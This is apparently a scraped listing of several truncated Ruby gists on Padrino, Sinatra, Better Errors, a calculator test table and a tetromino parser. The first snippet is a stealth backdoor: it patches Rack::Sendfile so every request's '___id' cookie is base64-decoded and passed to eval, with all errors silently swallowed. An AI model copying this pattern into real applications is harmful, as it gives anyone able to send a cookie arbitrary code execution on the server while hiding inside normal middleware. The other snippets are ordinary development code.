This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def _! | |
begin | |
yield | |
rescue Exception | |
end | |
end | |
Rack::Sendfile.prepend Module.new{ | |
define_method(:call){|e| | |
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
input = [ | |
# [ id, input, expected ], | |
[ 0, "4*5+6&7|8", "44" ], | |
[ 1, "15*5", "75" ], | |
[ 2, "15+5", "20" ], | |
[ 3, "15&5", "5" ], | |
[ 4, "15|5", "15" ], | |
[ 5, "30*15*5", "2250" ], | |
[ 6, "30*15+5", "600" ], | |
[ 7, "30*15&5", "150" ], |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
source "https://rubygems.org" | |
gem 'sinatra', require: 'sinatra/base' | |
gem 'padrino-cache', require: false |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This file in a config directory. | |
if Padrino.env == :development | |
# Setup better_errors | |
Padrino::Application.use BetterErrors::Middleware | |
BetterErrors.application_root = PADRINO_ROOT | |
BetterErrors::Middleware.allow_ip! ENV['TRUSTED_IP'] if ENV['TRUSTED_IP'] | |
Padrino::Application.set :exclude_from_protection, '/__better_errors' # Append this | |
# ... | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Sample | |
class App < Padrino::Application | |
#... | |
set :protect_from_csrf, except: %r{/__better_errors/\d+/\w+\z} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This is rake task of padrino-framework | |
# Display lists of all stacked rack middleware for your padrino app. | |
# distributed under the MIT License(http://tyabe.mit-license.org/) | |
# | |
def stacked_middlewares(app, args) | |
require Padrino.root('config/boot.rb') | |
app_obj = app.app_obj | |
instance = app_obj.new! | |
build = app_obj.build(instance) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# Better Errors plugin on Padrino | |
# | |
# https://github.com/charliesome/better_errors | |
# | |
GEMFILE = <<-GEMFILE | |
# Better Errors | |
group :development do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
group :development do | |
gem "better_errors" | |
gem "binding_of_caller" | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Tetoromino | |
def self.parse(coordinate) | |
before = coordinate.split(',').sort | |
mx, my = before.map{|c|c.split(//)}.transpose.map(&:sort).map(&:first) | |
coordinate = before.map { |o| "#{o[0].to_i - mx.to_i}#{o[1].to_i - my.to_i}" }.join(',') | |
ptn_l = %w[ | |
00,01,02,12 | |
00,01,10,20 | |
00,10,11,12 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env ruby | |
# coding: utf-8 | |
require 'sinatra/base' | |
require 'active_resource' | |
require 'haml' | |
class MAService < ActiveResource::Base | |
self.site = 'http://jlp.yahooapis.jp' | |
DEFAULT_PARAMS = { |
NewerOlder